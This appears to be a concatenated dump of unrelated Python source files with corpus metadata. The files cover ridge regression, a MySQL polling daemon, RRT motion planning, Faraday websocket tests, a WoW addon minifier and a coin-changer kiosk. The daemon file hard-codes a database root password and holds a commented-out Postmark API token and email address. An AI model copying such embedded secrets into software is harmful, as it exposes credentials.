Input_TE, Output_TR, Output_TE = train_test_split(Input, Output, test_size = test_portion, random_state = seed)\n return Input_TR, Input_TE, Output_TR, Output_TE\n\n\ndef spearsman_FS(Input_TR, Output_TR, threshold, rank_num, FSmode = \"rank\"):\n \"\"\"The function returns the columns names of the selected features and\n the spearsman matrix for the selected one according to the mode\"\"\"\n\n \"\"\"Fmode can be \"rank\" or \"threshold\" \"\"\"\n\n col_list = Input_TR.columns.values.tolist()\n selected_features = []\n spearsman_matrix = pd.DataFrame(data=None, index=['rho', 'p_value'], columns=col_list)\n\n for col in col_list:\n rho, p_val = spearmanr(Input_TR.loc[:, col], Output_TR)\n spearsman_matrix.loc['rho', col] = rho\n spearsman_matrix.loc['p_value', col] = p_val\n if FSmode == \"threshold\":\n if np.abs(rho) >= threshold:\n selected_features.append(col)\n\n if FSmode == \"rank\":\n sortedF = np.argsort(np.abs(spearsman_matrix.loc['rho', :])).tolist()\n for f in range(rank_num):\n selected_features.append(col_list[sortedF[-f-1]])\n\n return selected_features, spearsman_matrix\n\n\ndef scale_data_marjan(Input):\n \"\"\"scale the dataframe\"\"\"\n col_list = Input.columns.values.tolist()\n scaler = pd.DataFrame(data = 0, index=['min', 'max-min'], columns=col_list)\n scaled_Input = pd.DataFrame(data = 0, index=Input.index, columns=col_list)\n for col in col_list:\n if Input.loc[:, col].max() > 1 or Input.loc[:, col].min() < 0:\n scaler.loc['min', col] = Input.loc[:, col].min()\n scaler.loc['max-min', col] = Input.loc[:, col].max() - Input.loc[:, col].min()\n scaled_Input.loc[:, col] = (Input.loc[:, col]-scaler.loc['min', col])/(scaler.loc['max-min', col])\n else:\n scaler.loc['min', col] = None\n scaler.loc['max-min', col] = None\n scaled_Input.loc[:, col] = Input.loc[:, col]\n\n return scaled_Input, scaler\n\n\ndef scale_data(df):\n \"\"\"scale the dataframe\"\"\"\n\n scaler = StandardScaler()\n scaled_array = scaler.fit_transform(df.values)\n scaled_df = pd.DataFrame(scaled_array, index=df.index, columns=df.columns)\n return scaled_df, scaler\n\n\ndef Grid_search_Ridge(X, Y, ridge_params, fold_num):\n\n ridge_dict = {}\n for par in ridge_params:\n ridge_dict[str(par)] = {}\n model = Ridge(par)\n k_fold = KFold(n_splits=fold_num, shuffle=True, random_state=None)\n\n MSE_error = []\n MAE_error = []\n Spear_corr = []\n\n for k, (train_idx, val_idx) in enumerate(k_fold.split(X, Y)):\n model.fit(X[train_idx, :], Y[train_idx])\n Y_pred = model.predict(X[val_idx, :])\n MSE_error.append(mean_squared_error(Y[val_idx], Y_pred))\n MAE_error.append(mean_absolute_error(Y[val_idx], Y_pred))\n Spear_corr.append(spearmanr(Y[val_idx], Y_pred))\n\n par_MSE = np.mean(MSE_error)\n par_MAE = np.mean(MAE_error)\n par_Spear = np.mean(Spear_corr)\n ridge_dict[str(par)]['MSE'] = par_MSE\n ridge_dict[str(par)]['MAE'] = par_MAE\n ridge_dict[str(par)]['Spearsman'] = par_Spear\n\n print('parameter: ', par, '------- MSE: ', par_MSE, '------- MAE: ', par_MAE, '------- Spearsman: ', par_Spear)\n\n return ridge_dict\n\n\ndef get_best_param(ridge_dict, ridge_params, method = 'Ridge'):\n MSEs = []\n MAEs = []\n Spears = []\n for par in list(ridge_dict.keys()):\n param = float(par)\n MSEs.append(ridge_dict[par]['MSE'])\n MAEs.append(ridge_dict[par]['MAE'])\n Spears.append(ridge_dict[par]['Spearsman'])\n\n best_MSE_idx = MSEs.index(min(MSEs))\n best_MAE_idx = MAEs.index(min(MAEs))\n best_Spears_idx = Spears.index(max(Spears))\n\n # ridge_dict['best_param_idx'] = best_MSE_idx\n ridge_dict['best_' + method] = {}\n ridge_dict['best_'+method]['param'] = ridge_params[best_MSE_idx]\n ridge_dict['best_'+method]['MSE'] = MSEs[best_MSE_idx]\n ridge_dict['best_'+method]['MAE'] = MAEs[best_MSE_idx]\n ridge_dict['best_'+method]['Spears'] = Spears[best_MSE_idx]\n\n return ridge_dict, ridge_params[best_MSE_idx]\n\n\ndef build_best_ridge(ridge_dict, ridge_best_par, X_TR, Y_TR, X_TE, Y_TE, method='Ridge'):\n ridge_model = Ridge(ridge_best_par)\n ridge_model.fit(X_TR, Y_TR)\n\n Y_TR_pred = ridge_model.predict(X_TR)\n Y_TE_pred = ridge_model.predict(X_TE)\n\n ridge_dict['best_' + method]['Y_TR'] = list(np.around(Y_TR, decimals = 2))\n ridge_dict['best_' + method]['Y_TR_pred'] = list(np.around(Y_TR_pred, decimals = 2))\n\n ridge_dict['best_' + method]['Y_TE'] = list(np.around(Y_TE, decimals = 2))\n ridge_dict['best_' + method]['Y_TE_pred'] = list(np.around(Y_TE_pred, decimals = 2))\n\n MSE_TR_Ridge = mean_squared_error(Y_TR, Y_TR_pred)\n MAE_TR_Ridge = mean_absolute_error(Y_TR, Y_TR_pred)\n ridge_dict['best_' + method]['MSE_TR_Ridge'] = MSE_TR_Ridge\n ridge_dict['best_' + method]['MAE_TR_Ridge'] = MAE_TR_Ridge\n\n MSE_TE_Ridge = mean_squared_error(Y_TE, Y_TE_pred)\n MAE_TE_Ridge = mean_absolute_error(Y_TE, Y_TE_pred)\n ridge_dict['best_' + method]['MSE_TE_Ridge'] = MSE_TE_Ridge\n ridge_dict['best_' + method]['MAE_TE_Ridge'] = MAE_TE_Ridge\n\n return ridge_dict\n\n\ndef get_best_run_ridge(run_info):\n ridge_MSEs_runs = []\n for r in range(len(list(run_info.keys()))):\n ridge_MSEs_runs.append(run_info[list(run_info.keys())[r]]['Ridge']['best_Ridge']['MSE_TE_Ridge'])\n\n best_run_ridge_idx = ridge_MSEs_runs.index(min(ridge_MSEs_runs))\n best_run_ridge_info = {}\n best_run_ridge_info['best_ridge_run_idx'] = int(best_run_ridge_idx)\n best_run_ridge_info['info'] = run_info[list(run_info.keys())[best_run_ridge_idx]]['Ridge']['best_Ridge']\n\n return best_run_ridge_info\n\n\ndef save_run_info(report_path, run_info):\n report_name = 'run_info_'+time.strftime(\"%Y_%m_%d_%H_%M\")\n\n with open(report_path + \"\\\\\" + report_name + '.json', 'w') as fp:\n json.dump(run_info, fp)\n\n\ndef save_best_run_info(report_path, best_run_info):\n report_name = 'best_run_info_'+time.strftime(\"%Y_%m_%d_%H_%M\")\n\n with open(report_path + \"\\\\\" + report_name + '.json', 'w') as fp:\n json.dump(best_run_info, fp)\n\n\ndef plot_Y_Y_Pred(best_run_ridge, plot_path, method_name):\n Y_TR = best_run_ridge[list(best_run_ridge.keys())[1]]['Y_TR']\n Y_TR_pred = best_run_ridge[list(best_run_ridge.keys())[1]]['Y_TR_pred']\n Y_TE = best_run_ridge[list(best_run_ridge.keys())[1]]['Y_TE']\n Y_TE_pred = best_run_ridge[list(best_run_ridge.keys())[1]]['Y_TE_pred']\n param = best_run_ridge[list(best_run_ridge.keys())[1]]['param']\n plot_TR_name = 'Y_Y_Pred_TR_'+time.strftime(\"%Y_%m_%d_%H_%M\")\n plot_TE_name = 'Y_Y_Pred_TE_'+time.strftime(\"%Y_%m_%d_%H_%M\")\n\n # TR\n f = plt.figure(figsize=(10,10))\n plt.plot([0, max(Y_TR)], [0, max(Y_TR)], 'r', label = 'Y = X')\n plt.scatter(Y_TR, Y_TR_pred,s= 15, marker='+', label = 'Real vs. Predicted')\n plt.xlabel('Real likes count')\n plt.ylabel('Predicted likes count')\n plt.legend()\n plt.title('Predicted likes Count vs. Real likes count (TR)- '+method_name+' - alpha = '+str(param))\n f.savefig(plot_path+ \"\\\\\"+plot_TR_name+\".pdf\")\n\n # TE\n f1 = plt.figure(figsize=(10,10))\n plt.plot([0, max(Y_TE)], [0, max(Y_TE)], 'r', label = 'Y = X')\n plt.scatter(Y_TE, Y_TE_pred,s= 15, marker='+', label = 'Real vs. Predicted')\n plt.xlabel('Real likes count')\n plt.ylabel('Predicted likes count')\n plt.legend()\n plt.title('Predicted likes Count vs. Real likes count (TE)- '+method_name+' - alpha = '+str(param))\n f1.savefig(plot_path+ \"\\\\\"+plot_TE_name+\".pdf\")\n\n\nfor i in range(ind_run):\n\n print('Run ', i, ': ==========================================================================')\n run_info[str(i)] = {}\n run_info[str(i)]['seed'] = int(seeds[i])\n\n # Prepare data\n Input_TR, Input_TE, Output_TR, Output_TE = PrepareData(csv_path, dropping_col, seeds[i])\n\n print('-----------------------------------Feature Selection-----------------------------------')\n if with_fs_sel:\n f_sel, sp_df = spearsman_FS(Input_TR, Output_TR, threshold = threshold_clip, rank_num = rank_clip, FSmode=\"rank\")\n else:\n f_sel = Input_TR.columns.values.tolist()\n\n run_info[str(i)]['Selected Features:'] = f_sel\n\n scaled_Input_TR, scaler_TR_df = scale_data(Input_TR)\n scaled_Input_TE, scaler_TE_df = scale_data(Input_TE)\n\n # Prepare TR and TE\n X_TR = scaled_Input_TR[f_sel].values\n Y_TR = Output_TR.values\n X_TE = scaled_Input_TE[f_sel].values\n Y_TE = Output_TE.values\n\n print('-----------------------------------Grid_search_Ridge-----------------------------------')\n # Hyper parameter tuning\n ridge_dict = Grid_search_Ridge(X_TR, Y_TR, ridge_params, fold_num)\n\n # Find best Parameter\n ridge_dict, ridge_best_par = get_best_param(ridge_dict, ridge_params, method='Ridge')\n\n # Regression with best hyper_parameters:\n ridge_dict = build_best_ridge(ridge_dict, ridge_best_par, X_TR, Y_TR, X_TE, Y_TE, method='Ridge')\n\n run_info[str(i)]['Ridge'] = ridge_dict\n\n\n# Save info\nsave_run_info(report_path, run_info)\nbest_run_ridge = get_best_run_ridge(run_info)\nsave_best_run_info(report_path, best_run_ridge)\n\n# Plotting\nplot_Y_Y_Pred(best_run_ridge, plot_path, \"Ridge\")\n\n\n","sub_path":"28_PPP/1_ridge/ridge_GridSearch.py","file_name":"ridge_GridSearch.py","file_ext":"py","file_size_in_byte":11414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"80195702","text":"import time, socket, MySQLdb, json\nfrom time import gmtime, strftime\nfrom multiprocessing import Pool\nfrom myrequests import *\nfrom postmarker.core import PostmarkClient\n\n########\n# Defs #\n########\nTABLE_NAME = 'results'\nFIELD_ID = \"result_id\"\nFIELD_PARAMS = \"params\"\nFIELD_RESULT = \"result\"\n\nclass Analyze:\n def __init__(self, result_id, params, result):\n self.result_id = result_id\n self.params = params\n self.result = result\n\ndef process_request(info):\n db = MySQLdb.connect(\"localhost\",\"root\",\"pass\",\"morgdb\")\n cursor = db.cursor()\n mylist = {\"Key Phrase\": info.KeyPhrase, \"Target Terms\": info.TargetTerms.replace('\\n', ' ')[0: 100] + (\"...\") if (len(info.TargetTerms) > 200) else info.TargetTerms.replace('\\n', ' ')[0: 100], \"seperate Key Phrases\": info.sepKP, \"time\": info.time, \"complete_time\": strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())}\n done = \"Done\"\n q_str = \"INSERT INTO results ({0}, {1}, {2}) values (%s, %s, %s)\".format(FIELD_ID, FIELD_PARAMS, FIELD_RESULT)\n cursor.execute(q_str, [info.request_id, json.dumps(mylist), done])\n del_row = \"delete from requests where id = %s\"\n cursor.execute(del_row, [info.request_id])\n db.commit()\n\nHOST = '127.0.0.1' \nPORT = 3306\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\npool = Pool(processes=4)\ntry:\n sock.connect((HOST, PORT))\n print('connected')\nexcept:\n print(\"Cannot connect to the server\")\n\nwhile True:\n db = MySQLdb.connect(\"localhost\",\"root\",\"pass\",\"morgdb\")\n cursor = db.cursor()\n all_reqs = select_all_requests(db)\n if all_reqs :\n for info in all_reqs:\n if info.in_progress == \"False\":\n progress = \"UPDATE requests SET in_progress='True' WHERE id = %s\"\n cursor.execute(progress, [info.request_id])\n db.commit()\n pool.apply_async(process_request, (info,))\n # postmark = PostmarkClient(server_token='a27b1880-5284-4389-b274-b74d22b2b22c')\n # postmark.emails.send(\n # From='dng4@wisc.edu',\n # To='dng4@wisc.edu',\n # Subject='Morgridge Insitute',\n # HtmlBody='your request has been processed')\n else:\n print('no requests')\n time.sleep(30)\n\n\n#take all requests, store id into id of results table, requests info as json (json.stringify) into paramams, \"Done\" into result\n","sub_path":"analysis_daemon.py","file_name":"analysis_daemon.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"52520534","text":"import random\n\nclass NameGenerator:\n \n def __init__(self, filename):\n with open(filename) as f:\n names = f.read().split('\\n')\n self.names = names\n \n def __iter__(self):\n random.shuffle(self.names)\n for name in self.names:\n yield name","sub_path":"examples/_tools.py","file_name":"_tools.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"577855005","text":"import chainer\nimport numpy as np\nfrom chainer import cuda, training, reporter\n\nfrom gcnarg.nn.model.blgcn import BLGCN\n\n\ndef batch_convert(batch, device):\n def to_device_batch(batch):\n if device is None:\n return batch\n elif device < 0:\n return [chainer.dataset.to_device(device, x) for x in batch]\n else:\n xp = cuda.cupy.get_array_module(*batch)\n concat = xp.concatenate(batch, axis=0)\n sections = np.cumsum([len(x) for x in batch[:-1]], dtype='i')\n concat_dev = chainer.dataset.to_device(device, concat)\n batch_dev = cuda.cupy.split(concat_dev, sections)\n return batch_dev\n\n return {\n 'source': to_device_batch(\n [np.array(b['source'], dtype='f') for b in batch]\n ),\n 'tag': to_device_batch(\n [np.array(b['tag'], dtype='i') for b in batch]\n ),\n 'bio': to_device_batch(\n [np.array(b['bio'], dtype='i') for b in batch]\n ),\n 'dependency': [b['dependency'] for b in batch],\n }\n\n\nclass BLGCNUpdater(training.StandardUpdater):\n def __init__(self, train_iterator, model: BLGCN, optimizer,\n device=None):\n iterator = {'main': train_iterator}\n self._iterators = iterator\n self.model = model\n self._optimizers = {'main': optimizer}\n self.converter = batch_convert\n self.device = device\n self.iteration = 0\n\n def update_core(self):\n iterator = self._iterators['main'].next()\n in_arrays = self.converter(iterator, self.device)\n loss, _, _ = self.model(\n source=in_arrays['source'],\n bio=in_arrays['bio'],\n tag=in_arrays['tag'],\n dependency=in_arrays['dependency'],\n compute_loss=True\n )\n self._optimizers['main'].target.cleargrads()\n reporter.report({'loss': loss}, self.model)\n loss.backward()\n self._optimizers['main'].update()\n\n\n\n\n\n\n","sub_path":"src/gcnarg/nn/model/blgcn/BLGCNUpdater.py","file_name":"BLGCNUpdater.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"209047701","text":"import numpy as np\nfrom numpy import linalg as LA\nimport math\nimport random\nfrom scipy.interpolate import CubicSpline\nfrom .logger import logger\n# from .kinematics import KinematicsSolver\n# import copy\n# import time\n\n\nclass Node:\n '''\n Node class for tree\n '''\n def __init__(self, config):\n super(Node, self).__init__()\n\n self.config = config\n self.parent = []\n self.children = set()\n self.cost = 0\n\n\nclass MotionPlanner:\n def __init__(self, robot_state, lcm, solver):\n super(MotionPlanner, self).__init__()\n self.lcm_ = lcm\n self.robot = robot_state\n self.solver = solver\n # print(self.robot.all_joints)\n self.all_limits = []\n for joint in self.robot.all_joints:\n limit = self.robot.get_joint_limit(joint)\n limit['lower'] = math.degrees(limit['lower'])\n limit['upper'] = math.degrees(limit['upper'])\n self.all_limits.append(limit)\n self.all_limits.pop()\n\n self.step_limits = [1, 1, 2, 3, 5] # in degrees\n self.neighbor_dist = 3\n self.max_iterations = 1000\n self.i = 0\n\n def sample(self):\n '''\n Generate a random config based on the joint limits\n '''\n z_rand = []\n for limit in self.all_limits:\n z_rand.append(random.uniform(limit['lower'], limit['upper']))\n\n return np.array(z_rand)\n\n def nearest(self, tree_root, rand):\n '''\n Find nearest node in tree to a given random node in config space\n '''\n\n q = [tree_root]\n min_dist = float('inf')\n min_node = None\n\n while q:\n node = q.pop(0)\n\n dist = LA.norm(node.config - rand)\n\n if dist < min_dist:\n min_dist = dist\n min_node = node\n\n for child in node.children:\n q.append(child)\n\n return min_node\n\n def near(self, z_new):\n '''\n find neighbors of rand\n '''\n q = [self.root]\n neighbors = []\n while q:\n node = q.pop(0)\n dist = LA.norm(node.config - z_new)\n if dist < self.neighbor_dist:\n neighbors.append(node)\n for child in node.children:\n q.append(child)\n return neighbors\n\n def steer(self, start, end):\n\n line_vec = end - start.config\n\n if min(np.subtract(self.step_limits, abs(line_vec))) >= 0:\n return end\n\n new_config = np.array(start.config)\n\n min_t = float('inf')\n # parameterize the line\n for i in range(len(line_vec)):\n t = self.step_limits[i] * np.sign(line_vec[i]) / line_vec[i]\n if t < min_t:\n min_t = t\n\n for i in range(len(line_vec)):\n new_config[i] += min_t * line_vec[i]\n\n return new_config\n\n # shortest path optimazation for rrt*\n def choose_parent(self, z_near, z_nearest, z_new):\n '''\n best parent is one with least cost + distance to rand\n '''\n best_parent = z_nearest\n best_cost = z_nearest.cost + LA.norm(z_nearest.config - z_new)\n for current_node in z_near:\n current_cost = current_node.cost\n current_cost += LA.norm(current_node.config - z_new)\n if current_cost < best_cost:\n best_parent = current_node\n best_cost = current_cost\n '''\n hook new node up with the chosen parent\n '''\n new_node = Node(z_new)\n new_node.parent = best_parent\n best_parent.children.add(new_node)\n new_node.cost = best_cost\n self.x.append(z_new[0])\n self.y.append(z_new[1])\n return new_node\n\n # shortest path optimazation for rrt*\n def rewire(self, z_near, z_new):\n for node in z_near:\n new_cost = z_new.cost + LA.norm(node.config - z_new.config)\n if new_cost < node.cost:\n node.cost = new_cost\n node.parent.children.remove(node)\n node.parent = z_new\n z_new.children.add(node)\n # Note: may need to propogate diminished cost to children\n\n def backtrace_path(self, end, root):\n path = []\n node = end\n while node != root:\n config = node.config\n config = [math.radians(angle) for angle in config]\n path.append(config)\n node = node.parent\n config = root.config\n config = [math.radians(angle) for angle in config]\n path.append(config)\n return path\n\n def extend(self, tree, z_rand):\n # print(self.i)\n self.i += 1\n\n z_nearest = self.nearest(tree, z_rand)\n z_new = self.steer(z_nearest, z_rand)\n\n # blocked by obstacle/self collision\n # print(\"checking safety\")\n if not self.solver.safe(np.radians(z_new)):\n # print(\"not safe\")\n return Node(None)\n # print(\"safe\")\n\n new_node = Node(z_new)\n new_node.parent = z_nearest\n z_nearest.children.add(new_node)\n new_node.cost = z_nearest.cost + LA.norm(z_nearest.config - z_new)\n return new_node\n\n def connect(self, tree, a_new):\n extension = self.extend(tree, a_new)\n config = extension.config\n while config is not None and not np.array_equal(config, a_new):\n extension = self.extend(tree, a_new)\n config = extension.config\n return extension\n\n def rrt_connect(self, target):\n start = [self.robot.angles[\"joint_a\"],\n self.robot.angles[\"joint_b\"],\n self.robot.angles[\"joint_c\"],\n self.robot.angles[\"joint_d\"],\n self.robot.angles[\"joint_e\"]]\n start = [math.degrees(float(angle)) for angle in start]\n print(\"start root\")\n print(start)\n self.start_root = Node(np.array(start))\n target = [math.degrees(float(angle)) for angle in target][:-1]\n self.goal_root = Node(np.array(target))\n\n for i in range(self.max_iterations):\n a_root = self.start_root if i % 2 else self.goal_root\n b_root = self.goal_root if i % 2 else self.start_root\n z_rand = self.sample()\n\n a_new = self.extend(a_root, z_rand)\n if a_new.config is not None:\n b_new = self.connect(b_root, a_new.config)\n # are the trees connected?\n if np.array_equal(a_new.config, b_new.config):\n a_path = self.backtrace_path(a_new, a_root)\n b_path = self.backtrace_path(b_new, b_root)\n path = a_path\n path.reverse()\n middle = [math.radians(angle) for angle in a_new.config]\n path.append(middle)\n path.extend(b_path)\n if not i % 2:\n path.reverse()\n\n cs = self.spline_fitting(path)\n # return path\n return cs\n\n # no path found\n logger.info('NO PATH FOUND!!')\n return []\n\n def spline_fitting(self, path):\n x_ = np.linspace(0, 1, len(path))\n cs = CubicSpline(x_, path)\n\n return cs\n","sub_path":"onboard/kinematics/src/motion_planner.py","file_name":"motion_planner.py","file_ext":"py","file_size_in_byte":7287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"374163531","text":"import pytest\nfrom faraday.server.models import Agent\nfrom faraday.server.websocket_factories import WorkspaceServerFactory\n\nfrom tests.factories import AgentFactory\n\ndef _join_agent(test_client, session):\n agent = AgentFactory.create(token='pepito')\n session.add(agent)\n session.commit()\n\n headers = {\"Authorization\": \"Agent {}\".format(agent.token)}\n token = test_client.post('v2/agent_websocket_token/', headers=headers).json['token']\n return token\n\n\n@pytest.fixture\ndef proto():\n factory = WorkspaceServerFactory('ws://127.0.0.1')\n proto = factory.buildProtocol(('127.0.0.1', 0))\n return proto\n\n\nclass TestWebsockerBroadcastServerProtocol():\n\n def test_join_agent_message_with_invalid_token_fails(self, session, proto, test_client):\n message = '{\"action\": \"JOIN_AGENT\", \"token\": \"pepito\" }'\n assert not proto.onMessage(message, False)\n\n def test_join_agent_message_without_token_fails(self, session, proto, test_client):\n message = '{\"action\": \"JOIN_AGENT\"}'\n assert not proto.onMessage(message, False)\n\n def test_join_agent_message_with_valid_token(self, session, proto, test_client):\n token = _join_agent(test_client, session)\n message = '{{\"action\": \"JOIN_AGENT\", \"token\": \"{}\" }}'.format(token)\n assert proto.onMessage(message, False)\n\n def test_leave_agent_happy_path(self, session, proto, test_client):\n token = _join_agent(test_client, session)\n message = '{{\"action\": \"JOIN_AGENT\", \"token\": \"{}\" }}'.format(token)\n assert proto.onMessage(message, False)\n\n message = '{{\"action\": \"LEAVE_AGENT\" }}'.format(token)\n assert not proto.onMessage(message, False)\n\n def test_agent_status(self, session, proto, test_client):\n token = _join_agent(test_client, session)\n agent = Agent.query.one()\n assert not agent.is_online\n message = '{{\"action\": \"JOIN_AGENT\", \"token\": \"{}\" }}'.format(token)\n assert proto.onMessage(message, False)\n assert agent.is_online\n\n message = '{{\"action\": \"LEAVE_AGENT\"}}'.format(token)\n assert not proto.onMessage(message, False)\n assert not agent.is_online\n","sub_path":"tests/test_websocket_BroadcastServerProtocol.py","file_name":"test_websocket_BroadcastServerProtocol.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"460233419","text":"nnum,knum=input().split() # Given 2 numbers N,K check if N is a power of K\nnnum,knum=int(nnum),int(knum)\ncp=0\nfor i in range(0,int(nnum*0.5)):\n if((knum**i)==nnum):\n cp=cp+1\nif(cp>0):\n print(\"yes\")\nelse:\n print(\"no\")\n","sub_path":"ckmaths14.py","file_name":"ckmaths14.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"80974162","text":"import ah_db\nimport sys,traceback\nsys.path.append( '/opt/services/activehours/python-services')\nfrom modeling.feature.feature_generic import FeatureGeneric\n\n\nclass DeviceFeature(FeatureGeneric):\n nWkMax=20\n\n def buildFeatures(self,predTime):\n f={}\n try:\n\n lastIndex=self.getDataRangeIndex(predTime)\n\n f['nInstall']=lastIndex+1\n f['nInstall_Wk2']=0\n f['daySinceLastInstall']=DeviceFeature.nWkMax*7\n f['lastInstallOS']=''\n if lastIndex>=0:\n\n\n try:\n f['daySinceLastInstall']=(predTime-self.data[lastIndex]['installDate']).days\n except:\n pass\n\n if f['daySinceLastInstall']<0: f['daySinceLastInstall']=-1\n f['lastInstallOS']=self.data[lastIndex]['OS']\n\n\n\n for i in range(lastIndex+1):\n l=self.data[i]\n try:\n wks=(predTime-l['installDate']).days/7\n if wks<2: f['nInstall_Wk2']+=1\n\n except:\n\n pass\n # traceback.print_exc()\n except:\n print(lastIndex,self.data)\n traceback.print_exc()\n\n self.reName(f,'device_')\n return f\n\n def getData(self):\n sql='''\n SELECT userid, d.CreatedOn, PhoneNumber, DeviceTypeId, OS, Jailbroken, DevicePhoneNumber\n FROM UserDevices ud\n LEFT JOIN devices d\n ON ud.deviceid=d.deviceid\n WHERE userid=%s\n ORDER BY ud.createdon\n '''\n\n return ah_db.execute_to_json('miscellaneous', sql, (self.uid,))\n","sub_path":"src/modeling/feature/feature_device.py","file_name":"feature_device.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"621117378","text":"#!/usr/bin/env python3\nfrom typing import List\nfrom pathlib import Path\nfrom xml.dom import minidom\n\ndef format_wow_path(path: Path, rel_path: str):\n additions = rel_path.split('\\\\')\n for addition in additions:\n path = path / addition\n return path\n\ndef parse_toc(path: Path) -> List[Path]:\n includes = []\n with path.open() as stream:\n line_number = 0\n for line in stream:\n line_number += 1\n line = line.rstrip('\\r\\n')\n if line.startswith('#') or not line.strip():\n continue\n file = format_wow_path(path.parent, line)\n includes.append({\n 'source': path,\n 'line': line_number,\n 'file': file,\n })\n return includes\n\ndef parse_xml(path: Path) -> List[Path]:\n if not path.is_file():\n return []\n xml = minidom.parseString(path.read_text())\n elements = [\n *xml.getElementsByTagName('Script'),\n *xml.getElementsByTagName('Include'),\n ]\n includes = [\n {\n 'source': path,\n 'file': format_wow_path(path.parent, element.attributes['file'].value)\n }\n for element in elements\n if 'file' in element.attributes\n ]\n\n return includes\n\ndef get_children(path: Path) -> List[Path]:\n includes = []\n\n if path.name.endswith('.toc'):\n includes.extend(parse_toc(path))\n elif path.name.endswith('.xml'):\n includes.extend(parse_xml(path))\n\n for include in includes:\n includes.extend(get_children(include['file']))\n return includes\n\ndef print_bad_includes(bad_includes: List[dict], working_directory: Path):\n for include in bad_includes:\n source = include['source'].relative_to(working_directory)\n file = include['file'].relative_to(working_directory)\n if 'line' in include:\n line = include['line']\n source = f'{source}:{line}'\n print(f'File {file} not found in {source}')\n\ndef get_whitelist(path: Path) -> List[Path]:\n whitelist = []\n if path.is_file():\n with path.open() as stream:\n whitelist = [\n path.parent / line.rstrip('\\r\\n')\n for line in stream\n if line.rstrip('\\r\\n')\n ]\n return whitelist\n\ndef delete_useless_files(working_directory: Path, whitelist: List[Path]):\n deleted_files = []\n for child in working_directory.iterdir():\n if not any(path.exists() and child.samefile(path) for path in whitelist):\n if child.is_file():\n child.unlink()\n deleted_files.append(child)\n elif child.is_dir():\n deleted_files.extend(delete_useless_files(child, whitelist))\n if not any(child.iterdir()):\n child.rmdir()\n deleted_files.append(child)\n return deleted_files\n\ndef print_deleted_files(working_directory: Path, deleted_files: List[Path]):\n for file in deleted_files:\n relative = file.relative_to(working_directory)\n print(f'Deleted {relative}')\n\ndef main():\n working_directory = Path('.').resolve()\n toc_file = working_directory / f'{working_directory.name}.toc'\n if not toc_file.is_file():\n print(f'{toc_file.name} not found')\n return\n includes = get_children(toc_file)\n bad_includes = filter(lambda include: not include['file'].is_file(), includes)\n print_bad_includes(bad_includes, working_directory)\n whitelist = get_whitelist(working_directory / '.wowminifier')\n whitelist.append(toc_file)\n whitelist.extend(map(lambda include: include['file'], includes))\n deleted_files = delete_useless_files(working_directory, whitelist)\n print_deleted_files(working_directory, deleted_files)\n exit(1 if bad_includes else 0)\n\nmain()\n","sub_path":"wowminifier.py","file_name":"wowminifier.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"85036728","text":"#!/usr/bin/env python2\n\nimport logging\nimport logging.handlers\n\nfrom twisted.internet import reactor, defer\nfrom twisted.internet.serialport import SerialPort\n\nfrom serial import PARITY_NONE\nfrom serial import STOPBITS_ONE\nfrom serial import EIGHTBITS\n\nfrom pymdb.protocol.mdb import MDB\nfrom pymdb.device.changer import Changer\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG)\nhandler = logging.handlers.RotatingFileHandler(\n 'kiosk.log', maxBytes=1028576, backupCount=10)\nform = logging.Formatter(\n '%(asctime)s %(name)-12s %(levelname)s:%(message)s')\nhandler.setFormatter(form)\nlogger.addHandler(handler)\n\n\nclass Kiosk(object):\n\n def __init__(self, proto):\n self.proto = proto\n self.changer = RUChanger(proto)\n # self.bill = BillValidator(proto)\n\n @defer.inlineCallbacks\n def loop(self):\n yield self.proto.mdb_init()\n yield self.changer.reset()\n # yield self.bill.reset()\n # yield self.bill.bill_type()\n # yield self.bill.escrow()\n while True:\n try:\n yield self.changer.poll()\n # yield self.bill.poll()\n except Exception:\n logger.exception('Error while polling')\n\n def start_changer(self):\n self.changer.start_accept()\n\n def stop_changer(self):\n self.changer.stop_accept()\n\n\nclass RUChanger(Changer):\n\n COINS = {\n 0: 1,\n 1: 2,\n 2: 5,\n 4: 10\n }\n\n def start_accept(self):\n return self.coin_type(coins='\\xFF\\xFF')\n\n def stop_accept(self):\n return self.coin_type(coins='\\x00\\x00')\n\n def deposited(self, coin, routing=1, in_tube=None):\n logger.debug(\n \"Coin deposited({}): {}\".format(\n Changer.COINT_ROUTING[routing], self.COINS[coin]))\n\nif __name__ == '__main__':\n proto = MDB()\n SerialPort(\n # proto, '/dev/ttyUSB0', reactor,\n proto, '/dev/ttyUSB0', reactor,\n baudrate='38400', parity=PARITY_NONE,\n bytesize=EIGHTBITS, stopbits=STOPBITS_ONE)\n kiosk = Kiosk(proto)\n reactor.callLater(0, kiosk.loop)\n reactor.callLater(3, kiosk.start_changer)\n # reactor.callLater(15, kiosk.stop_changer)\n logger.debug(\"run reactor\")\n reactor.run()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"200727660","text":"# ----------------------------------------------------------------------------\n# Copyright (c) 2015--, micronota development team.\n#\n# Distributed under the terms of the Modified BSD License.\n#\n# The full license is in the file COPYING.txt, distributed with this software.\n# ----------------------------------------------------------------------------\n\nfrom dumpling import OptionParam, ArgmntParam\n\n\n_scan_params = [\n 